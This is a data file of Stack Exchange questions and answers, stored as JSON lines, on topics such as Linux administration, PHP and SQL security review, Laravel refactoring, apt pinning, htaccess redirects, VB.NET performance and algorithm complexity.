{  "id": "_unix.134037"  , "question": "I'm starting to use btrfs.  I want to be able to snapshot certain directories but do not want to create sub-volumes.  Is this possible?"  , "title": "btrfs snapshots without subvolumes?"  , "tags": "linux;debian;filesystems;btrfs;snapshot"  } 
{  "id": "_codereview.47956"  , "question": "Please verify security from SQL injection attacks.homepage.php<html><head></head><body><ul id=list>            <li><h3><a href=search.php?name=women-top>tops</a></h3></li>            <li><h3><a href=#>suits</a></h3></li>            <li><h3><a href=#>jeans</a></h3></li>            <li><h3><a href=search.php?name=women>more</a></h3></li>            </ul></body></html>second.php<?php$mysqli = new mysqli('localhost', 'root', '', 'shop');   if(mysqli_connect_errno()) {      echo Connection Failed:  . mysqli_connect_errno();      }?><html><head></head><body><?phpsession_start();$lcSearchVal=$_GET['name'];//echo hi;$lcSearcharr=explode(-,$lcSearchVal);$result=count($lcSearchVal);//echo $result;$parts = array();$parts1=array();foreach( $lcSearcharr as $lcSearchWord ){    $parts[] = '`PNAME` LIKE %'.$lcSearchWord.'%';    $parts1[] = '`TAGS` LIKE %'.$lcSearchWord.'%';    //$parts[] = '`CATEGORY` LIKE %'.$lcSearchWord.'%';}$stmt = $mysqli->prepare(SELECT * FROM xml where ('.implode ('AND',:name).'));$stmt->bind_Param(':name',$parts);$list=array();if ($stmt->execute()) {  while ($row = $stmt->fetch()) {    $list[]=$row;  }}    $stmt->close();    $mysqli->close();foreach($list as $array){?>            <div class=image><img src=<?php echo $array['IMAGEURL']?> width=200px height=200px/></a><?php}?></div></body></html>When I click on a link in homepage.php, it will search from XML for the products related to the clicked link.  Please verify whether the SQL statement is secured from a Google bot's attack and whether it's handling the data securely or not."  , "title": "Is this shopping site safe from SQL injection attacks?"  , "tags": "php;sql;mysql;security"  } 
{  "id": "_softwareengineering.103285"  , "question": "Possible Duplicates:How do managers know if a person is a good or a bad programmer?How to recognize a good programmer? For your record, I am a programmer myself, and I still do coding. We are not doing your-just-another-CRUD-app, instead we are working on CAD apps. The nature of software development makes it really hard to gauge a programmer's worth. How can you tell whether a programmer is good or not-so-good?All programmers who are working with me work on different parts of the applications, and how difficult it is to get those parts working is only known to the person who spend most time in it, in this case it's the programmers themselves; me as an outsider would not be able to fully appreciate the amount of sweat, ingenuity, effort they put in into solving those problems precisely because I don't have a chance to do the same job. This gives me a hard time when I evaluate them. How do I know programmer A is really great at solving the problem at hand and therefore I can throw him a bigger, harder task? And how do I know programmer B is just working hard, but not working smart?How can I evaluate and compensate programmers fairly?"  , "title": "How can you tell good programmers from the average one?"  , "tags": "management"  } 
{  "id": "_codereview.123240"  , "question": "I want to generate statistical reports and I have many different where clauses so the function became long. I did much refactoring, but it is not enough. Can someone help me with some techniques that these techniques make the function short and easily readable?public static function allRejUserByProv($prov = '', $gender = '', $dist = '', $ttc = '')    {        if (!empty($gender) && !empty($prov) && !empty($dist))        {            return self::where('decision', '3')->where('gender', $gender)->where('p_province', $prov)->where('p_district', $dist)->count();        }        if (!empty($prov) && !empty($dist))        {            return self::where('decision', '3')->where('p_province', $prov)->where('p_district', $dist)->count();        }        if (!empty($prov) && !empty($gender))        {            return self::where('decision', '3')->where('p_province', $prov)->where('gender', $gender)->count();        }        if(!empty($gender) && !empty($ttc))        {            return self::where('decision', '3')->where('ttc_name', $ttc)->where('gender', $gender)->count();        }        if(!empty($ttc))        {            return self::where('decision', '3')->where('ttc_name', $ttc)->count();        }        if (!empty($gender))        {            return self::where('decision', '3')->where('gender', $gender)->count();        }        if (!empty($prov))        {            return self::where('decision', '3')->where('p_province', $prov)->count();        }        return self::where('decision', '3')->count();    }I am calling the function like this:public function resultTTC($prov, $dist, $ttc){return [  'rejected'             => number_format(self::allRejUserByProv($prov, '', $dist, $ttc)),        'rejected_male'        => number_format(self::allRejUserByProv($prov, '1', $dist, $ttc)),        'rejected_female'      => number_format(self::allRejUserByProv($prov, '2', $dist, $ttc)),]"  , "title": "Generating statistical reports"  , "tags": "php;laravel"  , "accepted_answer": "If you just want to do the where for every non-empty value. You can do the following:public static function allRejUserByProv($prov = '', $gender = '', $dist = '', $ttc = ''){    $fields = [        'gender' => $gender,        'p_district' => $dist,        'p_province' => $prov,        'ttc_name' => $ttc    ];    $result = self::where('decision', '3');    foreach ($fields as $attr => $value) {        if(! empty($value)) {            $result = $result->where($attr, $value);        }    }    return $result->count();}This way you will remove the multiple ifs.If you will always use number_format to format the return value why not just adding it to the function:return number_format($result->count());Hope this helps :)"  } 
{  "id": "_webmaster.68223"  , "question": "A year has gone missing from my domains. What can I do to get it back?Here is the complete history (I have assumed abc.com and xyz.in as the domain names as I do not want to disclose my own domain names)abc.com and xyz.in were registered on November 2012 via a reseller of WebiqOn November 2013, I was notified about the expiration of these two domains. When I contacted my reseller explaining that I would like to transfer the domains to GoDaddy he told that I was to renew them in order to transfer. Soabc.com and xyz.in were renewed on November 2013 via the same reseller of WebiqI had started the transfers via GoDaddy to whom I paid a minimal fee (and they even offered 1 addition year for each domain on the renewal)On 17th November 2013abc.com got transferred from Webiq to Godaddy. The records showed it's valid till 11/05/2015on 18th January 2014xyz.in got transferred from Webiq to GoDaddy. The records showed it's valid till 11/3/2016Two weeks ago from today when I logged into my cpanel it notified that my domain was getting expired soon and that I renew it. This was surprising because it's supposed to be valid till 11/05/2015 but both my domains seemed to show one year lesser now! On contacting GoDaddy they requested that I contact my old registrar as the one missing one year must've been because of themWhen I tried submitting a support request to Webiq whether they cancelled it, they replied:Your domain abc.com has been transferred away from us on 17-11-2013 and the domain xyz.in was transferred away from us on 18-01-2014. There are no order cancellation actions placed. If you have any billing related issues kindly contact your parent reseller.GoDaddy has now made me aware of something called the 45-day rule which clearly states that I am to get a refund for the renewal as the old registrar (webiq) would have gained this refund regardless of whether they made a refund or not!I found the details of this in this link >> Transfer of Recently Renewed Domains"  , "title": "What happens when my domain provider cancels order after domain transfer?"  , "tags": "domains;dns;domain registration;domain registrar;domain transfer"  } 
{  "id": "_datascience.904"  , "question": "I need to generate periodic (daily, monthly) web analytics dashboard reports. They will be static and don't require interaction, so imagine a PDF file as the target output. The reports will mix tables and charts (mainly sparkline and bullet graphs created with ggplot2). Think Stephen Few/Perceptual Edge style dashboards, such as: but applied to web analytics. Any suggestions on what packages to use creating these dashboard reports? My first intuition is to use R markdown and knitr, but perhaps you've found a better solution. I can't seem to find rich examples of dashboards generated from R. "  , "title": "What do you use to generate a dashboard in R?"  , "tags": "r;visualization"  } 
{  "id": "_datascience.15798"  , "question": "I have done several machine learning projects but all of them have been connected to the traditional machine learning (predictions, classifications, etc.). I have currently been offered a project to finish in less than 6 months.The idea is to develop/improve a pre-existing software. The software takes the image of a molecule from an advanced molecule and then tries to highlight the cell line with red, some times the software takes the background or the lines of other cells also as the highlighted part, and thus the user has to manually edit and trim such mistakes. The idea is to make the software learn from user's edits and behavior over time.One thing I want to know is whether such a 6-month project is realistic for someone with no background in image processing and pattern recognition? Or is it going to be terribly difficult because I only have had experience with data-oriented/statistical machine learning?My other question is; what type of concepts/topics should I dig deep into to learn the fundamentals of carrying out this project?"  , "title": "What knowledge should I gain for developing a supervised image processing software that learns how to edit photos based on past behavior?"  , "tags": "machine learning;deep learning;image recognition"  , "accepted_answer": "From the description of your problem, you need both Computer Vision and Deep Learning for a task like that. It is going to be extremely difficult, but you are more in advantage than anyone else, given you have a strong statistical and machine learning background. You don't have to worry a lot about the image processing part as there are libraries that will do that for you. You can look into PIL for that.The hard part is the learning from the edits part.A simpler way to solve this problem would be to focus on image processing and pick out the cell line clearly. The other way would be to train a Convnet on a large collection of 'labelled-images' of the cell-line, so that it is able to identify it in any picture. I do think it is quite a hard problem to solve but do give it a try. Cheers. All the best."  } 
{  "id": "_codereview.159351"  , "question": "I have implemented as follows, a class applying singleton pattern to get a global single access to database.I intend to provide a thread-safe implementation.using System.Data.SqlClient;public sealed class Database    {        private static volatile SqlConnection instance;        private static object syncRoot = new object();        private const string connectionString = Data Source=ServerName; +                                                Initial Catalog=DataBaseName; +                                                User id=UserName; +                                                Password=Secret;;        private Database() { }        public static SqlConnection Instance        {            get            {                if (instance == null)                {                    lock (syncRoot)                    {                        if (instance == null)                            instance = new SqlConnection(connectionString);                    }                }                return instance;            }        }    }"  , "title": "Singleton implementation of a database connection"  , "tags": "c#;thread safety;singleton"  } 
{  "id": "_webapps.14859"  , "question": "I want to remove (not change) my Facebook username, so that my profile page should be accessible from my ID number. Is this even possible?"  , "title": "How to remove Facebook username and return to profile ID?"  , "tags": "facebook;username;profile;delete"  } 
{  "id": "_unix.344840"  , "question": "I want to forward all the locally generated traffic on a dummy interface to ppp interface. Since PPP interface is dynamic (comes up and goes down based on connected devices), my process binds to the dummy interface and sends traffic through it.I have created a separate routing table with the following rules:ip rule add oif dummy0 table rt_dummyip rule add from source <dummy0-ip> table rt_dummyip rule add fwmark 100 table rt_dummyDefault route of the routing table is through ppp interfaceip route default dev ppp0 table rt_dummyand iptables -t nat -A POSTROUTING -s dummy-interface-ip -o ppp0 -j MASQUERADEiptables -t raw -A OUTPUT -s dummy-interface-ip -j MARK --set-mark 100 But still packets are NOT going through ppp0 interface"  , "title": "Outgoing traffic over dummy interface to ppp interface"  , "tags": "iptables"  } 
{  "id": "_unix.44639"  , "question": "A few years ago I added this repository to my sources.list:http://www.deb-multimedia.org/because it contained packages like acroread or flash player, which were either missing or out of date in the official repos.However, now I have just realized that some of the packages from that repository are broken, e.g. mencoder. Hence a few questions:How can I find out which packages are installed from this particular repository?How can I make this repository lower priority, so that only the packages I want are automatically installed/upgraded from there?EDIT:I edited `/etc/apt/preferences' file as someone suggested:grzes:/home/ga# cat /etc/apt/preferencesPackage: *Pin: release a=testingPin-Priority: 700Package: *Pin: release a=stablePin-Priority: 600Package: *Pin: release a=unstablePin-Priority: 50Package: *Pin: origin deb-multimedia.org/Pin-Priority: 50but it didn't seem to work (note that I downgraded this package manually):grzes:/home/ga# apt-cache policy mencodermencoder:  Installed: 2:1.0~rc4.dfsg1+svn34540-1+b2  Candidate: 3:1.1-dmo5  Version table:     3:1.1-dmo5 0         50 http://www.deb-multimedia.org/ unstable/main i386 Packages        700 http://www.deb-multimedia.org/ testing/main i386 Packages *** 2:1.0~rc4.dfsg1+svn34540-1+b2 0         50 http://ftp.uk.debian.org/debian/ unstable/main i386 Packages        700 http://ftp.uk.debian.org/debian/ testing/main i386 Packages        100 /var/lib/dpkg/status     2:1.0~rc3++final.dfsg1-1 0        600 http://ftp.uk.debian.org/debian/ stable/main i386 Packages"  , "title": "Managing unofficial repositories on a Debian system"  , "tags": "debian;package management;apt;repository"  , "accepted_answer": "It turns out that you can't have both the origin and release clauses at the same time. Every repository provides a label though, which can be used for filtering. In my case the correct /apt/cache/preferences file looks like this:Package: acroread acroread-data acroread-debian-files acroread-dictionary acroread-dictionary-en acroread-escript acroread-fonts-jpn acroread-l10n acroread-l10n-en acroread-plugin-speech acroread-plugins cinelerra flashplayer-mozilla mozilla-acroread w32codecsPin: release a=testing,l=Unofficial Multimedia PackagesPin-Priority: 550Package: acroread cinelerra flashplayer-mozilla mozilla-acroread w32codecsPin: release a=stable,l=Unofficial Multimedia PackagesPin-Priority: 500Package: *Pin: origin www.deb-multimedia.orgPin-Priority: 50Package: *Pin: release a=testingPin-Priority: 700Package: *Pin: release a=stablePin-Priority: 600Package: *Pin: release a=unstablePin-Priority: 50To get the list of all available labels you need to run:apt-cache policywithout specifying package name."  } 
{  "id": "_unix.371762"  , "question": "hping is available on Alpine. https://pkgs.alpinelinux.org/contents?branch=edge&name=hping3&arch=x86&repo=testingHowever when I tried to install it, I'm getting the following error message.localhost:~$ apk search -v hpinglocalhost:~$ sudo apk search -v hpinglocalhost:~$ localhost:~$ sudo apk add hpingERROR: unsatisfiable constraints:  hping (missing):    required by: world[hping]localhost:~$ localhost:~$ sudo apk add hping2ERROR: unsatisfiable constraints:  hping2 (missing):    required by: world[hping2]localhost:~$ localhost:~$ sudo apk add hping3ERROR: unsatisfiable constraints:  hping3 (missing):    required by: world[hping3]localhost:~$ I don't have this problem on other packages such as tcpdump."  , "title": "Alpine Linux unable to install hping; ERROR: unsatisfiable constraints"  , "tags": "software installation;alpine linux"  , "accepted_answer": "hping3 is in the testing repository.# apk add hping3 --update-cache --repository http://dl-cdn.alpinelinux.org/alpine/edge/testingYou can also add this repository to /etc/apk/repositories."  } 
{  "id": "_webmaster.35858"  , "question": "There is a similar question here, but the solution does not work in Apache for our site.I'm trying to remove multiple trailing slashes from URLs on our site. I found some .htaccess code that seems to work:RewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_URI} ^(.*)//(.*)$RewriteRule . %1/%2 [R=301,L]This rule removes multiple slashes from anywhere in the URL:http://www.mysite.com/category/accessories////becomeshttp://www.mysite.com/category/accessories/However, it redirects once for every extra slash. So:http://www.mysite.com/category/accessories///////301 Redirects tohttp://www.mysite.com/category/accessories//////301 Redirects tohttp://www.mysite.com/category/accessories/////301 Redirects tohttp://www.mysite.com/category/accessories////301 Redirects tohttp://www.mysite.com/category/accessories///301 Redirects tohttp://www.mysite.com/category/accessories//301 Redirects tohttp://www.mysite.com/category/accessories/Is it possible to rewrite this rule so that it does it all in a single 301 redirect?Also, this above directive does not work at the root level of our site:http://www.mysite.com///// does not redirect but it should."  , "title": "Remove multiple trailing slashes in a single 301 in .htaccess?"  , "tags": "htaccess;apache;301 redirect;trailing slash"  , "accepted_answer": "If the slashes may only occur at the end of the URL, you may use thisRewriteCond %{REQUEST_URI} ^(.*?)(?:/){2,}$RewriteRule . $1/ [R=301,L]"  } 
{  "id": "_codereview.15485"  , "question": "I have developed a prototype framework (MVVM) where control on the form is bound to a model property using a naming convention and its UI behavior is controlled using custom attributes.As of now the control name is divided into two parts - 3 part prefix and then the Name of the property in model to bind to. For eg txtFirstName textbox is bound to FirstName in model. During construction/load, all controls are looped through - BaseEdit baseEdit = (BaseEdit) control;baseEdit.DataBindings.Add(EditValue, viewModelBindingSource,                          baseEdit.Name.Remove(0, 3),                          true, DataSourceUpdateMode.OnPropertyChanged);There are some other attributes such as [ReadOnly], [Unbound] which are used to control the UI behavior.baseEdit.Properties.ReadOnly = Util.GetReadOnlyAttributeValue(    control.Name.Remove(0, 3), viewModel.GetType());I am thinking of doing the looping the other way around, ie the Model properties, using a Bound attribute. Bound[ControlName, PropertyName]Bound[txtFirstName, EditValue]FirstNameAll the dropdown type controls, combobox, dropdown, checkeddropdown etc are autofilled by using a 'Key' from their tag property.if (control.GetType() == typeof(LookUpEdit) &&     !string.IsNullOrEmpty(Convert.ToString(control.Tag))) //Exact match{       LookUpEdit lookUpEdit = (LookUpEdit)control;       DataBinding.InitializeLookUpEdit(lookUpEdit, lookUpEdit.Tag.ToString()); }I took the biggest data-entry form with around 45 controls and tested the framework. Is the above approach suitable for a big project? Any suggestions for improving the framework?"  , "title": "Automatic Databinding of controls to Model"  , "tags": "c#;winforms;.net 2.0"  , "accepted_answer": "IMHO Anything that relies on controls' Tag property is fishy. In 15 years of VB4-5-6/VBA and then WinForms development, every single time I saw the Tag property assigned, there was a better way to solve the problem. I think using that property more often than not violates the principle of least surprise (POLS), because it's not typical to put anything in there - if anything it means a control is begging to be derived from that control's class, and featured with the relevant properties - which is obviously too much trouble to be worth the while.That's my rant against using the Tag property. That said it looks rather clean, much cleaner than this similar question, but it suffers from the same issue: WinForms applications are better off with the Model-View-Presenter pattern.  [...] if you want to simulate WPF behavior in WinForms, the real thing will be much less trouble, and leave you with much cleaner code.Sorry if that's not what you wanted to hear...For a big project I'd seriously consider either MVP or MVVM with WPF."  } 
{  "id": "_vi.8704"  , "question": "I have the following autocmd to search for function definitions in C files. autocmd Filetype c,cpp execute nnoremap ]m /\\\\v^[^=]*(([a-zA-Z_][a-zA-Z_0-9]+)|(operator .*))\\\\(.*\\\\)( const|:)?( \\\\{)?$\\<cr>:nohl\\<cr>As I have incsearch defined, it will hightlight all the matches, why I can :nohl at the end.However the search fails if there are no matches found, and the :nohl is not executed in this caseThis would be fine, if the search didn't fail and throw an error if it found nothing, but would just didn't change the cursor (which it should)."  , "title": "Don't fail if pattern is not found"  , "tags": "search;error"  } 
{  "id": "_unix.161736"  , "question": "How can we remove only the numbers that are 0,1,2,3,4,5,6,7,8,9 character long from a file? I mean the lines that are matching this pattern. Example for removable lines: cat input.txt112342311383728472323Example for lines that shouldn't be removed:cat input.txt1a1245d458565438753b395923827495Hx"  , "title": "How to remove only 0-9 character long numbers from a file?"  , "tags": "bash;sed;perl"  , "accepted_answer": "Using sed:sed -i.bak -e '/^[0-9]\\{1,9\\}$/d' fileUsing perl:perl -i.bak -nle 'print unless /^[0-9]{1,9}$/' file"  } 
{  "id": "_cs.13372"  , "question": "I've constructed an algorithm that solves the 3SUM problem in $O(n\\lg n) + \\frac{n^2}{4}$ time. I'm new to algorithms and was wondering how good is my running time? Googling didn't help.thanks.."  , "title": "Computing 3SUM problem in $O(n\\lg n) + \\frac{n^2}{4}$ time"  , "tags": "algorithms;algorithm analysis;time complexity"  } 
{  "id": "_webmaster.72812"  , "question": "It's very easy to see how much of your traffic is from Search, how much is from Social and how much is from Direct and so on, like this:We can tell that 11.03% is from Organic Search. And after setting the date duration to another range afterwards, the number became 15.55%. That is growing.But I can't see the percentage trend for this. Is it possible to see it directly rather than dumping out all data and put everyday's number in a new Excel or Google Spreadsheet to figure out its trends?What I expected is something like this:Thanks,"  , "title": "How to see the trend of the percentage of organic search in all acquisition channels in Google Analytics?"  , "tags": "google analytics"  , "accepted_answer": "I don't know of a way of seeing the percentage over time, but you can get the absolute numbers over time.Like other compare stats over time, Google Analytics hides it under motion charts.  Choose the date range for which you are interestedNavigate to Acquisition -> All Traffic -> ChannelsClick on motion charts (icon with three black circles top right of the graph)Change the metric of the graph from % new sessions to sessions (sideways drop down to the left of the graph)Change the graph to a line chart (small gray line chart in a tab over the graph as opposed to the black line chart icon next to the motion charts icon)"  } 
{  "id": "_unix.213717"  , "question": "I start interactive terminal using farm (LSF). These terminals get opened on some random host and get closed automatically after 15 days. I want to save the current shell environment (env, current directory, aliases, history of shell, ...) in a file. I would like to save the setting on periodically or on the 14th day. So, when the current shell terminates, I will relaunch a new terminal and set the same environment from the saved file. This will help in getting the almost the same shell again."  , "title": "csh: How to save the shell environment (env, current dir, shell history) in a file and set it on another shell?"  , "tags": "shell;csh"  } 
{  "id": "_unix.384119"  , "question": "In my script I create a directoryand need to execute subsequent commands within the directory.The below script creates a directory, but the next script it invokes(repoinit) does not get executed within that directory.mkcdir (){    echo creating directory $1    mkdir -p -- ~/$1 &&      cd -P -- ~/$1}mkcdir $1repo init -u git@github.com:P0/manifest.git -b refs/tags/$1repo sync"  , "title": "Change directory to execute a script"  , "tags": "bash;shell script;cwd"  } 
{  "id": "_unix.19672"  , "question": "I am not looking for a how-to on creating a repo (createrepo) or using yum.I want to understand how they work together.I want to know what files yum looks at and why, what those files contain.I want to understand the structure of the repo and its files. I want to understand how it all works together.I have read many how-to's, I am looking for a more conceptual understanding. I working with Centos 6 32bit."  , "title": "How does createrepo work. How does yum understand parse its files. A conceptual explanation"  , "tags": "centos;yum;rpm"  , "accepted_answer": "Createrepo creates some informational files that can be used by yum tool while fetching data from a reposiotry.The files are filelists.xml,repomd.xml etc.the below tutorial explains the complete yum working.How does YUM work?"  } 
{  "id": "_unix.174543"  , "question": "I have opened webcam for capturing using OpenCV in C++.Then I stopped the program using CTRL+Z;The webcam could not turn off, Because was not defined in program. And I can not start my program again because the capture program is still using webcam and is busy.Error:libv4l2: error setting pixformat: Device or resource busyHIGHGUI ERROR: libv4l unable to ioctl S_FMT...I found the process id using lsof|grep libv4l2:capture   5591     mylove  mem       REG                8,8     52584  1737777 /usr/lib64/libv4l2.so.0.0.0and tried to close the capture using kill 5591 and also pkill capture using normal user and root user. But the camera LED is still turned on and my program can not start.What is fastest and best method to release/close the camera?"  , "title": "release/close capture of camera"  , "tags": "camera;v4l;opencv"  } 
{  "id": "_scicomp.12897"  , "question": "What is a good direct method to compute the spectral decomposition / Schur decomposition / singular decomposition of a symmetric matrix?Direct means as in LU decomposition, Cholesky decomposition, or Golub's SVD algorithm, in contrast to iterative methods.You can, of course, apply the aforementioned algorithm of Golub, but I guess that would be breaking a butterfly on a wheel."  , "title": "Spectral decomposition of symmetric matrix"  , "tags": "linear algebra;dense matrix"  , "accepted_answer": "In addition to the QR algorithm, the divide and conquer method is also worth mentioning. It is applicable to symmetric tridiagonal matrices, but any matrix can be reduced to such a form via the Lanczos method*. It hinges on the observation that a tridiagonal matrix is, up to a rank 1 perturbation, a block diagonal matrix. One can then find the eigendecomposition of the sub-blocks (in parallel!) and glue them back together using a clever trick. Of course, finding the eigenvalues of the blocks must be done with the QR method as Federico alludes to.However, you've asked for a direct method -- both QR and divide and conquer are iterative methods. Well, there is no direct method akin to the LU decomposition to find the eigendecomposition of a matrix of dimension greater than 5, there are only iterative methods. If such a direct method existed, one could find the zeros of an arbitrarily high-degree polynomial as an algebraic function of the coefficients, which Galois told us is impossible. The Golub-Kahan SVD algorithm is also iterative."  } 
{  "id": "_unix.105610"  , "question": "I am trying to understand the Linux block layer so I am writing a blog about it: http://www.linuxintro.org/wiki/blktrAce. When calling blktrace like this:blktrace -d /dev/sdg -o - | blkparse -i -I see e.g. the output8,96   4      695   430.080106382  2356  I   N 0 (00 ..) [kworker/4:2]8,96   3       29   430.082179440    53  D   N 0 (00 ..) [ksoftirqd/3]I do not understand what this means. According to the man page of blkparse, there is an RWBS field (containing R for read, W for write, B for barrier, D for discard or S for sync). With some experimenting I found out it is the 7th column. However it contains N. What does that mean? Where can I find the info what it means?"  , "title": "how does blktrace work?"  , "tags": "linux;monitoring;block device"  } 
{  "id": "_unix.231588"  , "question": "Is that possible to downgrade from 7.9 to 7.8 on Debian vm ?"  , "title": "Debian: Downgrade from 7.9 to 7.8"  , "tags": "debian;version"  } 
{  "id": "_webapps.2461"  , "question": "What are some good Web Tools to help me format my code for blogs?I'd like to be able to copy & paste my code into textbox/textarea and have the web tool format it nicely for various popular blogging sites.  Features: Color, indentation, line numbers, etc.Languages: C/C++/C#, VB.net, XML/HTML/Xaml, Ruby, etc.Bloging sites: Blogger, Wordpress, etc"  , "title": "What are some good Web Tools to help me format my code for blogs?"  , "tags": "blog;formatting"  , "accepted_answer": "GitHub's gist service has a rather neat embedding tool and recognises loads of different languages. I've use this to embed code snippet occasionally.Also anything based around GeSHi works great, I've had good experiences with the CodeColorer plugin for wordpress."  } 
{  "id": "_softwareengineering.334072"  , "question": "I have been having quite a time getting this to work reliably for 100s of thousands of terms and potentially millions of pages per source and ETL the resulting data into a database in an automated fashion. I need to run the tasks in Mesos on a repeating schedule. The required languages are Scala/Java.  For acquisition, I need to parse javascript, render data from ajax, work with tracking cookies; etc. in order to scrape the sites. I've been working on an open source tool to do this as well. I discovered and have created an extremely simple API surrounding Selenium for this task with serializable configuration for distribution. The tool is plug and play for a webdriver. However, the crawls constantly run into trouble in that they always hang despite being isolated fairly well and stripped down from one another (by specifying cache locations,minimizing the cache size, not downloading images;etc.).Errors range from phantomjs returning a cleanup error and failing to continue to a general hang in Chrome Driver despite not running out of memory according to VisualVM. In fact, the highest memory use has been 25% and CPU use at 50% using 3-5 individual child processes.Should I be running each term in a container? How to make web driver reliable over a period of weeks or months? Is there an equally generic alternative?"  , "title": "How to make a webdriver run reliably in Selenium?"  , "tags": "java;scala;selenium;web scraping;selenium webdriver"  } 
{  "id": "_softwareengineering.279005"  , "question": "I am trying to serialize a Message object using ObjectOutputStream ,take the byte[ ] output of the serializer,encrypt it using an encryption tool and then trying to de-serialize it and cast it as an object. It gives an error - invalid stream header. Is it not possible to modify the OutputStream after serializing it and then de-serialize it? Excuse me if I am doing something atrocious, I am a novice to Java. Code for the serializer - serialMsg():ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream out = new ObjectOutputStream(bos);out.writeObject(this);bytes = bos.toByteArray();out.close();The output of the serializer is then used as below:byte[] data = this.serialMsg(); // This is where I serialize the Message objectbyte[] out = util.Encrypt(data, fromsk , to.toString(), param); // This is where I encrypt the byte[ ] - data and obtain an encrypted byte [ ] - outThe object is then de-serialised as:ByteArrayInputStream in = new ByteArrayInputStream(out);ObjectInputStream objin = new ObjectInputStream(in) ;msg = (Message)objin.readObject(); // This is where I cast the output of readObject into the type Message - the original type of the object that was serialized.I hope the objective behind this is clear. I am trying to modify the output stream and then trying to cast it back into the original type."  , "title": "Serialization - can the output from a serializer be modified and then de-serialized"  , "tags": "java;serialization"  , "accepted_answer": "The serialization API makes a specific promise: If you save the bytes created by a serialize() call, you can later feed them into a deserialize() call, and your object will be reconstructed. That is all it does.You are doing something different: you are feeding a different stream of data to the deserializer. That isn't in its job description, so unsurprisingly it fails. It doesn't matter that the new data stream is intimately related to the original one; all that matters is that it isn't the same one.To achieve what you want, you would have to understand how the serialization process works and custom-craft your transformation so that the reverse operation would succeed. That is technically possible, but it would mean that you basically have to do all the work that the library is supposed to do for you. At that point, there is no longer much point in using it at all, and you're better off using a different mechanism that serializes and encrypts data the way you want to.Luckily, there are solutions that do both. See https://stackoverflow.com/questions/16950833/is-there-an-easy-way-to-encrypt-a-java-object for an example of a previous question about similar requirements."  } 
{  "id": "_codereview.105743"  , "question": "I have a string which I want to check for characters other than those in this list {1, 2, 3, 4, 5, 6, 7, 8, 9, 0, ., i} however this check gets run several thousand times a second.I am therefore looking for the most efficient way of performing this check, what I have tried so far:If Not System.Text.RegularExpressions.Regex.IsMatch(Input, [^0-9\\.i]) ThenThis is equivalent to the code below which I have also triedImports SystemImports System.LinqPublic Module Module1    Public Sub Main()        Console.WriteLine(IsValidString())    End Sub    Private Function IsValidString() As Integer        'Dim Input As String = Hello World 'This is Invalid        'Dim Input As String = 13.4i+4 'This is Invalid        Dim Input As String = 13.4i 'This is valid        If Function()            Dim IsValid As Boolean = True            For Each Character In Input                If Not {1, 2, 3, 4, 5, 6, 7, 8, 9, 0, ., i}.Contains(Character) Then                    IsValid = False                End If            Next            Return IsValid        End Function() Then            Return -1        Else            'Do some other stuff            Return 1 '        End If    End FunctionEnd ModuleI am looking for optimal performance possibly at the cost of readability as I am willing to write pages on how the code works and what it does if only I can speed up the execution of my app!"  , "title": "Searching string for character not in array"  , "tags": "performance;vb.net"  , "accepted_answer": "In this case (and many others), when it comes to performance, there's really nothing that beats the old trusty For Next and Select Case statements.Private Function IsValid(input As String) As Boolean    Dim index As Integer    Dim length As Integer = (input.Length - 1)    For index = 0 To length        Select Case input.Chars(index)            Case 0c, 1c, 2c, 3c, 4c, 5c, 6c, 7c, 8c, 9c, ic, .c                Continue For            Case Else                Return False        End Select    Next    Return TrueEnd FunctionI've run a test, as seen in this fiddle (Release build - Any CPU) with 10000 iterations and this is the result:{ Name = IsValid1, Repetitions = 10000, Result = False, Time = 0,7359 }  { Name = IsValid2, Repetitions = 10000, Result = False, Time = 58,787 }  { Name = IsValid3, Repetitions = 10000, Result = False, Time = 106,5004 }  { Name = IsValid1, Repetitions = 10000, Result = True, Time = 0,4382 }  { Name = IsValid2, Repetitions = 10000, Result = True, Time = 42,1742 }  { Name = IsValid3, Repetitions = 10000, Result = True, Time = 65,9497 }  Private Function IsValid2(input As String) As Boolean    Dim validChars = {1, 2, 3, 4, 5, 6, 7, 8, 9, 0, ., i}    Return input.All(Function(c) validChars.Contains(c))End FunctionPrivate Function IsValid3(input As String) As Boolean    Dim IsValid As Boolean = True    For Each Character In input        If Not {1, 2, 3, 4, 5, 6, 7, 8, 9, 0, ., i}.Contains(Character) Then            IsValid = False        End If    Next    Return IsValidEnd Function"  } 
{  "id": "_cs.10081"  , "question": "I'm working on some exercises regarding graph theory and complexity. Now I'm asked to give an algorithm that computes a transposed graph of $G$, $G^T$ given the adjacency matrix of $G$. So basically I just have to give an algorithm to transpose an $N \\times N$ matrix.My first thought was to loop through all rows and columns and simply swapping values in each of the $M[i,j]$ place. Giving a complexity of $O(n^2)$ But I immediately realized there's no need to swap more than once, so I can skip a column every time e.g. when I've iterated over row i, there's no need to start iteration of the next row at column i, but rather at column i + 1.This is all well and good, but how do I determine the complexity of this. When I think about a concrete example, for instance a 6x6 matrix this leads to 6 + 5 + 4 + 3 + 2 + 1 swaps (disregarding the fact that position [i,i] is always in the right position if you want to transpose a $N \\times N$ matrix, so we could skip that as well).This looks alot like the well-known arithmetic series which simplifies to $n^2$, which leads me to think this is also $O(n^2)$. There are actually $n^2/2$ swaps needed, but by convention the leading constants may be ignored, so this still leads to $O(n^2)$. Skipping the i,i swaps leads to $n^2/2 - n$ swaps, which still is $O(n^2)$, but with less work still..Some clarification would be awesome :)"  , "title": "What is the complexity of this matrix transposition?"  , "tags": "graph theory;time complexity;algorithm analysis;linear algebra;adjacency matrix"  , "accepted_answer": "The sequence you (correctly) identified sums up to $\\frac{n(n-1)}{2}=\\theta(n^2)$, which gives the runtime you were looking for.I'm not sure what you are referring to by leading constants. Do you mean you can ignore e.g. $1+2+3$ ? sure, but that will reduce $6$ from the complexity, which is clearly meaningless. On the other hand, you cannot ignore $f(n)$ leading constants for any $f(n)=\\omega(1)$, so there is really no point in ignoring them altogether."  } 
{  "id": "_cstheory.36564"  , "question": "What's stopping ghc from translating Haskell into a concatenative programming language such as combinatory logic and then simply using stack allocation for everything? According to Wikipedia, the translation from lambda calculus to combinatory logic is trivial, and also, concatenative programming languages can rely solely on a stack for memory allocation. Is it feasible to do this translation and thus eliminate garbage collection for languages such as Haskell and ocaml? Are there downsides to doing this?EDIT: moved here https://stackoverflow.com/questions/39440412/why-do-functional-programming-languages-require-garbage-collection"  , "title": "Why do functional programming languages require garbage collection?"  , "tags": "functional programming;haskell"  } 
